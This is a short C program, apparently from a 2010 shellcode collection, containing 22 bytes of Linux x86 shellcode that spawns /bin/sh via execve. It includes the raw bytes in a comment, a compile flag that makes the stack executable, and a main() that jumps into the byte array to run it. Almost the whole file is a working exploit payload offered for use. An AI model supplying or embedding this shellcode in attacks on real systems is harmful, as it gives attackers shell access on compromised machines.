#include <stdio.h>
#include <string.h>

/*
  by Magnefikko
  15.04.2010
  magnefikko@gmail.com
  Promhyl Studies :: http://promhyl.oz.pl
  Subgroup: #PRekambr
  Name: 22 bytes execve("/bin/sh", 0, 0) shellcode
  Platform: Linux x86
  
  execve("/bin/sh", 0, 0);

  gcc -Wl,-z,execstack filename.c

  shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80

*/


int main(){
  char shell[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
  printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
  (*(void (*)()) shell)();
}





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fixed version